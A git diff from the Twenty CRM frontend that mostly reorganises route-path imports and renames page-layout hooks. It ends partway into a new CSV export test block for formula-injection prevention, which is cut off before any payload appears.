import { buildAppPathWithQueryParams } from '~/utils/buildAppPathWithQueryParams';
|
||||
import { isMatchingLocation } from '~/utils/isMatchingLocation';
|
||||
import { useAuth } from '../../hooks/useAuth';
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { useRedirectToWorkspaceDomain } from '@/domain-manager/hooks/useRedirectToWorkspaceDomain';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { type ApolloError } from '@apollo/client';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { useSignUpInNewWorkspaceMutation } from '~/generated-metadata/graphql';
|
||||
import { getWorkspaceUrl } from '~/utils/getWorkspaceUrl';
|
||||
|
||||
|
||||
+1
-1
@@ -6,8 +6,8 @@ import { currentWorkspaceState } from '@/auth/states/currentWorkspaceState';
|
||||
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { useGetWorkspaceFromInviteHashQuery } from '~/generated-metadata/graphql';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
import { generatePath } from 'react-router-dom';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import {
|
||||
type AvailableWorkspace,
|
||||
type AvailableWorkspaces,
|
||||
type AvailableWorkspace,
|
||||
} from '~/generated/graphql';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { generatePath } from 'react-router-dom';
|
||||
|
||||
export const countAvailableWorkspaces = ({
|
||||
availableWorkspacesForSignIn,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { AUTH_MODAL_CONFIG } from '@/auth/constants/AuthModalConfig';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { type Location } from 'react-router-dom';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { isMatchingLocation } from '~/utils/isMatchingLocation';
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
|
||||
export const CAPTCHA_PROTECTED_PATHS: string[] = [
|
||||
AppPath.SignInUp,
|
||||
|
||||
@@ -8,12 +8,12 @@ import { commandMenuPageState } from '@/command-menu/states/commandMenuPageState
|
||||
import { CommandMenuPageComponentInstanceContext } from '@/command-menu/states/contexts/CommandMenuPageComponentInstanceContext';
|
||||
import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useTheme } from '@emotion/react';
|
||||
import styled from '@emotion/styled';
|
||||
import { motion } from 'framer-motion';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
|
||||
const StyledCommandMenuContent = styled.div`
|
||||
|
||||
@@ -20,7 +20,6 @@ import { AnimatePresence, motion } from 'framer-motion';
|
||||
import { useRef } from 'react';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useRecoilState, useRecoilValue } from 'recoil';
|
||||
import { AppBasePath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { IconChevronLeft, IconX } from 'twenty-ui/display';
|
||||
import { Button } from 'twenty-ui/input';
|
||||
@@ -106,8 +105,8 @@ export const CommandMenuTopBar = () => {
|
||||
|
||||
const location = useLocation();
|
||||
const isButtonVisible =
|
||||
!location.pathname.startsWith(`${AppBasePath.Root}objects/`) &&
|
||||
!location.pathname.startsWith(`${AppBasePath.Root}object/`);
|
||||
!location.pathname.startsWith('/objects/') &&
|
||||
!location.pathname.startsWith('/object/');
|
||||
|
||||
const backButtonAnimationDuration =
|
||||
contextChips.length > 0 ? theme.animation.duration.instant : 0;
|
||||
|
||||
+1
-1
@@ -10,10 +10,10 @@ import { useObjectMetadataItems } from '@/object-metadata/hooks/useObjectMetadat
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { useObjectPermissions } from '@/object-record/hooks/useObjectPermissions';
|
||||
import { getObjectPermissionsFromMapByObjectMetadataId } from '@/settings/roles/role-permissions/objects-permissions/utils/getObjectPermissionsFromMapByObjectMetadataId';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { useMemo } from 'react';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { Avatar } from 'twenty-ui/display';
|
||||
import { useDebounce } from 'use-debounce';
|
||||
import { useSearchQuery } from '~/generated/graphql';
|
||||
|
||||
+9
-9
@@ -1,7 +1,7 @@
|
||||
import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu';
|
||||
import { useCreatePageLayoutWidget } from '@/settings/page-layout/hooks/useCreatePageLayoutWidget';
|
||||
import { usePageLayoutWidgetCreate } from '@/settings/page-layout/hooks/usePageLayoutWidgetCreate';
|
||||
import {
|
||||
GraphType,
|
||||
GraphSubType,
|
||||
WidgetType,
|
||||
} from '@/settings/page-layout/mocks/mockWidgets';
|
||||
import styled from '@emotion/styled';
|
||||
@@ -30,22 +30,22 @@ const StyledSectionTitle = styled.div`
|
||||
|
||||
const graphTypeOptions = [
|
||||
{
|
||||
type: GraphType.BAR,
|
||||
type: GraphSubType.BAR,
|
||||
icon: IconChartBar,
|
||||
title: 'Bar Chart',
|
||||
},
|
||||
{
|
||||
type: GraphType.PIE,
|
||||
type: GraphSubType.PIE,
|
||||
icon: IconChartPie,
|
||||
title: 'Pie Chart',
|
||||
},
|
||||
{
|
||||
type: GraphType.GAUGE,
|
||||
type: GraphSubType.GAUGE,
|
||||
icon: IconGauge,
|
||||
title: 'Gauge',
|
||||
},
|
||||
{
|
||||
type: GraphType.NUMBER,
|
||||
type: GraphSubType.NUMBER,
|
||||
icon: IconNumber,
|
||||
title: 'Number',
|
||||
},
|
||||
@@ -53,10 +53,10 @@ const graphTypeOptions = [
|
||||
|
||||
export const CommandMenuPageLayoutGraphTypeSelect = () => {
|
||||
const { closeCommandMenu } = useCommandMenu();
|
||||
const { createPageLayoutWidget } = useCreatePageLayoutWidget();
|
||||
const { handleCreateWidget } = usePageLayoutWidgetCreate();
|
||||
|
||||
const handleSelectGraphType = (graphType: GraphType) => {
|
||||
createPageLayoutWidget(WidgetType.GRAPH, graphType);
|
||||
const handleSelectGraphType = (graphType: GraphSubType) => {
|
||||
handleCreateWidget(WidgetType.GRAPH, graphType);
|
||||
closeCommandMenu();
|
||||
};
|
||||
|
||||
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu';
|
||||
import { FormTextFieldInput } from '@/object-record/record-field/ui/form-types/components/FormTextFieldInput';
|
||||
import { useCreatePageLayoutIframeWidget } from '@/settings/page-layout/hooks/useCreatePageLayoutIframeWidget';
|
||||
import { useUpdatePageLayoutWidget } from '@/settings/page-layout/hooks/useUpdatePageLayoutWidget';
|
||||
import { usePageLayoutWidgetUpdate } from '@/settings/page-layout/hooks/usePageLayoutWidgetUpdate';
|
||||
import { pageLayoutDraftState } from '@/settings/page-layout/states/pageLayoutDraftState';
|
||||
import { pageLayoutEditingWidgetIdState } from '@/settings/page-layout/states/pageLayoutEditingWidgetIdState';
|
||||
import styled from '@emotion/styled';
|
||||
@@ -34,7 +34,7 @@ const StyledButtonContainer = styled.div`
|
||||
export const CommandMenuPageLayoutIframeConfig = () => {
|
||||
const { closeCommandMenu } = useCommandMenu();
|
||||
const { createPageLayoutIframeWidget } = useCreatePageLayoutIframeWidget();
|
||||
const { updatePageLayoutWidget } = useUpdatePageLayoutWidget();
|
||||
const { handleUpdateWidget } = usePageLayoutWidgetUpdate();
|
||||
const [pageLayoutEditingWidgetId, setPageLayoutEditingWidgetId] =
|
||||
useRecoilState(pageLayoutEditingWidgetIdState);
|
||||
const pageLayoutDraft = useRecoilValue(pageLayoutDraftState);
|
||||
@@ -77,7 +77,7 @@ export const CommandMenuPageLayoutIframeConfig = () => {
|
||||
}
|
||||
|
||||
if (isEditMode && pageLayoutEditingWidgetId !== null) {
|
||||
updatePageLayoutWidget(pageLayoutEditingWidgetId, {
|
||||
handleUpdateWidget(pageLayoutEditingWidgetId, {
|
||||
title: title.trim(),
|
||||
configuration: {
|
||||
...editingWidget?.configuration,
|
||||
|
||||
+1
-1
@@ -3,10 +3,10 @@ import { useIsSettingsPage } from '@/navigation/hooks/useIsSettingsPage';
|
||||
import { useLastVisitedView } from '@/navigation/hooks/useLastVisitedView';
|
||||
import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState';
|
||||
import { prefetchIndexViewIdFromObjectMetadataItemFamilySelector } from '@/prefetch/states/selector/prefetchIndexViewIdFromObjectMetadataItemFamilySelector';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useShowAuthModal } from '@/ui/layout/hooks/useShowAuthModal';
|
||||
import { useLocation, useParams, useSearchParams } from 'react-router-dom';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { isMatchingLocation } from '~/utils/isMatchingLocation';
|
||||
|
||||
|
||||
@@ -4,9 +4,10 @@ import { type FieldMetadataItem } from '@/object-metadata/types/FieldMetadataIte
|
||||
import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem';
|
||||
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
|
||||
import { type ObjectRecordIdentifier } from '@/object-record/types/ObjectRecordIdentifier';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { type View } from '@/views/types/View';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { getAppPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
|
||||
export type ProcessedFavorite = Favorite & {
|
||||
Icon?: string;
|
||||
|
||||
+3
-2
@@ -1,13 +1,14 @@
|
||||
import { useRedirect } from '@/domain-manager/hooks/useRedirect';
|
||||
import { InformationBanner } from '@/information-banner/components/InformationBanner';
|
||||
import { usePermissionFlagMap } from '@/settings/roles/hooks/usePermissionFlagMap';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import {
|
||||
PermissionFlagType,
|
||||
useBillingPortalSessionQuery,
|
||||
} from '~/generated-metadata/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const InformationBannerBillingSubscriptionPaused = () => {
|
||||
const { redirect } = useRedirect();
|
||||
|
||||
+3
-2
@@ -1,13 +1,14 @@
|
||||
import { useRedirect } from '@/domain-manager/hooks/useRedirect';
|
||||
import { InformationBanner } from '@/information-banner/components/InformationBanner';
|
||||
import { usePermissionFlagMap } from '@/settings/roles/hooks/usePermissionFlagMap';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import {
|
||||
PermissionFlagType,
|
||||
useBillingPortalSessionQuery,
|
||||
} from '~/generated-metadata/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const InformationBannerFailPaymentInfo = () => {
|
||||
const { redirect } = useRedirect();
|
||||
|
||||
+2
-2
@@ -2,10 +2,10 @@ import { BILLING_CHECKOUT_SESSION_DEFAULT_VALUE } from '@/billing/constants/Bill
|
||||
import { useHandleCheckoutSession } from '@/billing/hooks/useHandleCheckoutSession';
|
||||
import { InformationBanner } from '@/information-banner/components/InformationBanner';
|
||||
import { usePermissionFlagMap } from '@/settings/roles/hooks/usePermissionFlagMap';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { PermissionFlagType } from '~/generated-metadata/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const InformationBannerNoBillingSubscription = () => {
|
||||
const { handleCheckoutSession, isSubmitting } = useHandleCheckoutSession({
|
||||
|
||||
+2
-2
@@ -1,5 +1,6 @@
|
||||
import { useOpenAskAIPageInCommandMenu } from '@/command-menu/hooks/useOpenAskAIPageInCommandMenu';
|
||||
import { useOpenRecordsSearchPageInCommandMenu } from '@/command-menu/hooks/useOpenRecordsSearchPageInCommandMenu';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { NavigationDrawerItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItem';
|
||||
import { isNavigationDrawerExpandedState } from '@/ui/navigation/states/isNavigationDrawerExpanded';
|
||||
import { navigationDrawerExpandedMemorizedState } from '@/ui/navigation/states/navigationDrawerExpandedMemorizedState';
|
||||
@@ -8,11 +9,10 @@ import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { useLocation, useNavigate } from 'react-router-dom';
|
||||
import { useRecoilState, useSetRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconSearch, IconSettings, IconSparkles } from 'twenty-ui/display';
|
||||
import { useIsMobile } from 'twenty-ui/utilities';
|
||||
import { FeatureFlagKey } from '~/generated/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const MainNavigationDrawerFixedItems = () => {
|
||||
const isMobile = useIsMobile();
|
||||
|
||||
+1
-1
@@ -9,8 +9,8 @@ import { IconsProviderDecorator } from '~/testing/decorators/IconsProviderDecora
|
||||
import { ObjectMetadataItemsDecorator } from '~/testing/decorators/ObjectMetadataItemsDecorator';
|
||||
import { SnackBarDecorator } from '~/testing/decorators/SnackBarDecorator';
|
||||
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { isNavigationDrawerExpandedState } from '@/ui/navigation/states/isNavigationDrawerExpanded';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { I18nFrontDecorator } from '~/testing/decorators/I18nFrontDecorator';
|
||||
import {
|
||||
AppNavigationDrawer,
|
||||
|
||||
+1
-1
@@ -7,8 +7,8 @@ import { currentUserWorkspaceState } from '@/auth/states/currentUserWorkspaceSta
|
||||
import { useDefaultHomePagePath } from '@/navigation/hooks/useDefaultHomePagePath';
|
||||
import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState';
|
||||
import { AggregateOperations } from '@/object-record/record-table/constants/AggregateOperations';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { coreViewsState } from '@/views/states/coreViewState';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { ViewOpenRecordIn, ViewType } from '~/generated/graphql';
|
||||
import { getMockCompanyObjectMetadataItem } from '~/testing/mock-data/companies';
|
||||
import { mockedUserData } from '~/testing/mock-data/users';
|
||||
|
||||
@@ -4,13 +4,16 @@ import { type ObjectPathInfo } from '@/navigation/types/ObjectPathInfo';
|
||||
import { useFilteredObjectMetadataItems } from '@/object-metadata/hooks/useFilteredObjectMetadataItems';
|
||||
import { useObjectPermissions } from '@/object-record/hooks/useObjectPermissions';
|
||||
import { getObjectPermissionsFromMapByObjectMetadataId } from '@/settings/roles/role-permissions/objects-permissions/utils/getObjectPermissionsFromMapByObjectMetadataId';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { coreViewsState } from '@/views/states/coreViewState';
|
||||
import { convertCoreViewToView } from '@/views/utils/convertCoreViewToView';
|
||||
import isEmpty from 'lodash.isempty';
|
||||
import { useCallback, useMemo } from 'react';
|
||||
import { useRecoilCallback, useRecoilValue } from 'recoil';
|
||||
import { AppPath, SettingsPath } from 'twenty-shared/types';
|
||||
import { getAppPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const useDefaultHomePagePath = () => {
|
||||
const currentUser = useRecoilValue(currentUserState);
|
||||
@@ -115,7 +118,7 @@ export const useDefaultHomePagePath = () => {
|
||||
}
|
||||
|
||||
if (isEmpty(readableAlphaSortedActiveNonSystemObjectMetadataItems)) {
|
||||
return `${AppPath.Settings}/${SettingsPath.ProfilePage}`;
|
||||
return getSettingsPath(SettingsPath.ProfilePage);
|
||||
}
|
||||
|
||||
const defaultObjectPathInfo = getDefaultObjectPathInfo();
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import indexAppPath from '../indexAppPath';
|
||||
|
||||
describe('getIndexAppPath', () => {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
|
||||
const getIndexAppPath = () => {
|
||||
return AppPath.Index;
|
||||
|
||||
+2
-2
@@ -3,6 +3,7 @@ import { contextStoreCurrentViewIdComponentState } from '@/context-store/states/
|
||||
import { lastVisitedViewPerObjectMetadataItemState } from '@/navigation/states/lastVisitedViewPerObjectMetadataItemState';
|
||||
import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem';
|
||||
import { prefetchViewsFromObjectMetadataItemFamilySelector } from '@/prefetch/states/selector/prefetchViewsFromObjectMetadataItemFamilySelector';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { NavigationDrawerItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItem';
|
||||
import { NavigationDrawerItemsCollapsableContainer } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItemsCollapsableContainer';
|
||||
import { NavigationDrawerSubItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerSubItem';
|
||||
@@ -10,10 +11,9 @@ import { getNavigationSubItemLeftAdornment } from '@/ui/navigation/navigation-dr
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { getAppPath } from 'twenty-shared/utils';
|
||||
import { useIcons } from 'twenty-ui/display';
|
||||
import { AnimatedExpandableContainer } from 'twenty-ui/layout';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
|
||||
export type NavigationDrawerItemForObjectMetadataItemProps = {
|
||||
objectMetadataItem: ObjectMetadataItem;
|
||||
|
||||
+2
-2
@@ -4,6 +4,7 @@ import { useSetRecoilState } from 'recoil';
|
||||
import { useObjectNamePluralFromSingular } from '@/object-metadata/hooks/useObjectNamePluralFromSingular';
|
||||
|
||||
import { useObjectOptionsDropdown } from '@/object-record/object-options-dropdown/hooks/useObjectOptionsDropdown';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
|
||||
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
|
||||
@@ -12,10 +13,9 @@ import { DropdownMenuSeparator } from '@/ui/layout/dropdown/components/DropdownM
|
||||
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
|
||||
import { ViewFieldsHiddenDropdownSection } from '@/views/components/ViewFieldsHiddenDropdownSection';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconChevronLeft, IconSettings } from 'twenty-ui/display';
|
||||
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const ObjectOptionsDropdownHiddenFieldsContent = () => {
|
||||
const { t } = useLingui();
|
||||
|
||||
+2
-2
@@ -7,6 +7,7 @@ import { RecordGroupsVisibilityDropdownSection } from '@/object-record/record-gr
|
||||
import { useRecordGroupVisibility } from '@/object-record/record-group/hooks/useRecordGroupVisibility';
|
||||
import { recordGroupFieldMetadataComponentState } from '@/object-record/record-group/states/recordGroupFieldMetadataComponentState';
|
||||
import { hiddenRecordGroupIdsComponentSelector } from '@/object-record/record-group/states/selectors/hiddenRecordGroupIdsComponentSelector';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
|
||||
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
|
||||
@@ -17,10 +18,9 @@ import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/ho
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useSetRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconChevronLeft, IconSettings } from 'twenty-ui/display';
|
||||
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const ObjectOptionsDropdownHiddenRecordGroupsContent = () => {
|
||||
const { t } = useLingui();
|
||||
|
||||
+3
-2
@@ -8,6 +8,7 @@ import { useSearchRecordGroupField } from '@/object-record/object-options-dropdo
|
||||
import { recordGroupFieldMetadataComponentState } from '@/object-record/record-group/states/recordGroupFieldMetadataComponentState';
|
||||
import { hiddenRecordGroupIdsComponentSelector } from '@/object-record/record-group/states/selectors/hiddenRecordGroupIdsComponentSelector';
|
||||
import { useHandleRecordGroupField } from '@/object-record/record-index/hooks/useHandleRecordGroupField';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
|
||||
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
|
||||
@@ -20,8 +21,7 @@ import { ViewType } from '@/views/types/ViewType';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useSetRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { IconChevronLeft, IconSettings, useIcons } from 'twenty-ui/display';
|
||||
import {
|
||||
MenuItem,
|
||||
@@ -29,6 +29,7 @@ import {
|
||||
UndecoratedLink,
|
||||
} from 'twenty-ui/navigation';
|
||||
import { FieldMetadataType } from '~/generated-metadata/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const ObjectOptionsDropdownRecordGroupFieldsContent = () => {
|
||||
const { t } = useLingui();
|
||||
|
||||
+3
-2
@@ -20,13 +20,14 @@ import { recordStoreFamilySelector } from '@/object-record/record-store/states/s
|
||||
import { AggregateOperations } from '@/object-record/record-table/constants/AggregateOperations';
|
||||
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
|
||||
import { prefetchIndexViewIdFromObjectMetadataItemFamilySelector } from '@/prefetch/states/selector/prefetchIndexViewIdFromObjectMetadataItemFamilySelector';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { isDropdownOpenComponentState } from '@/ui/layout/dropdown/states/isDropdownOpenComponentState';
|
||||
import { useIsMobile } from '@/ui/utilities/responsive/hooks/useIsMobile';
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { AppPath, ViewFilterOperand } from 'twenty-shared/types';
|
||||
import { getAppPath } from 'twenty-shared/utils';
|
||||
import { ViewFilterOperand } from 'twenty-shared/types';
|
||||
import { RelationType } from '~/generated-metadata/graphql';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
|
||||
type RecordDetailRelationSectionProps = {
|
||||
loading: boolean;
|
||||
|
||||
+1
-1
@@ -8,6 +8,7 @@ import { type RecordGroupAction } from '@/object-record/record-group/types/Recor
|
||||
import { useRecordIndexContextOrThrow } from '@/object-record/record-index/contexts/RecordIndexContext';
|
||||
import { useRecordIndexIdFromCurrentContextStore } from '@/object-record/record-index/hooks/useRecordIndexIdFromCurrentContextStore';
|
||||
import { useHasPermissionFlag } from '@/settings/roles/hooks/useHasPermissionFlag';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
|
||||
import { useRecoilComponentFamilyValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentFamilyValue';
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
@@ -17,7 +18,6 @@ import { isUndefined } from '@sniptt/guards';
|
||||
import { useCallback, useContext } from 'react';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useSetRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import {
|
||||
IconArrowLeft,
|
||||
|
||||
+290
-4
@@ -1,5 +1,6 @@
|
||||
import { type FieldMetadata } from '@/object-record/record-field/ui/types/FieldMetadata';
|
||||
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
|
||||
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
|
||||
|
||||
import { FieldMetadataType, RelationType } from '~/generated-metadata/graphql';
|
||||
import {
|
||||
@@ -11,22 +12,38 @@ jest.useFakeTimers();
|
||||
|
||||
describe('generateCsv', () => {
|
||||
it('generates a csv with formatted headers', async () => {
|
||||
const columns = [
|
||||
{ label: 'Foo', metadata: { fieldName: 'foo' } },
|
||||
{ label: 'Empty', metadata: { fieldName: 'empty' } },
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Foo',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'foo' },
|
||||
},
|
||||
{
|
||||
label: 'Empty',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'empty' },
|
||||
},
|
||||
{
|
||||
label: 'Nested link field',
|
||||
size: 150,
|
||||
type: FieldMetadataType.LINKS,
|
||||
metadata: { fieldName: 'nestedLinkField' },
|
||||
},
|
||||
{
|
||||
label: 'Relation',
|
||||
size: 120,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: {
|
||||
fieldName: 'relation',
|
||||
relationType: RelationType.MANY_TO_ONE,
|
||||
},
|
||||
},
|
||||
] as ColumnDefinition<FieldMetadata>[];
|
||||
];
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
@@ -49,6 +66,275 @@ describe('generateCsv', () => {
|
||||
.toEqual(`Id,Foo,Empty,Nested link field / Link URL,Nested link field / Secondary Links,Relation
|
||||
1,some field,,https://www.test.com,"[{""label"":""secondary link 1"",""url"":""https://www.test.com""},{""label"":""secondary link 2"",""url"":""https://www.test.com""}]",a relation`);
|
||||
});
|
||||
|
||||
describe('CSV Injection Prevention with ZWJ', () => {
|
||||
it('prevents formula injection with equals sign using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Name',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'name' },
|
||||
},
|
||||
{
|
||||
label: 'Formula',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'formula' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
name: 'Test User',
|
||||
